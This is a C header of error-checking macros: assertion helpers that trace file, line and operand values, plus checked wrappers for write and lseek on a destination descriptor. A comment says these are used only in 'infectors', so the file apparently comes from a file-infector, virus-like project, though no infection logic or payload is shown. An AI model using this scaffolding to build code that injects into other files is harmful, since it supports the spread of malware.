#define QUOTE_EXP(n)	#n
#define QUOTE_NUM(n)	QUOTE_EXP(n)

#define CHECK_BEGIN(trace, left, op, right, errno) \
  { long _left = (left); long _right = (right); \
    if (!(_left op _right)) { \
      TRACE_##trace(errno, \
      "CHECK: %s\n" \
      "CHECK: " __FILE__ "#" QUOTE_NUM(__LINE__) "\n" \
      "CHECK: (" QUOTE_EXP(left) ") " QUOTE_EXP(op) \
        " (" QUOTE_EXP(right) ")\n" \
      "CHECK: %ld " QUOTE_EXP(op) " %ld; %#lx " QUOTE_EXP(op) " %#lx\n", \
      t->src_file, _left, _right, _left, _right);
#define CHECK_END	} }

#define CHECK(trace, left, op, right) \
  CHECK_BEGIN(trace, left, op, right, -1) return false; CHECK_END

#define CHECK_ERRNO(left, op, right) \
  CHECK_BEGIN(ERROR, left, op, right, errno) return false; CHECK_END

/*
 * wrappers for write(2) and lseek(2) that handle errors
 * used only in infectors and only on fd_dst
 */ 
#define CHECK_WRITE(buf, count) \
  CHECK_BEGIN(INFECT, count, ==, write(t->fd_dst, buf, count), errno) \
  return false; CHECK_END
#define CHECK_LSEEK(offset, whence) \
  CHECK_BEGIN(INFECT, -1, !=, lseek(t->fd_dst, offset, whence), errno) \
  return false; CHECK_END
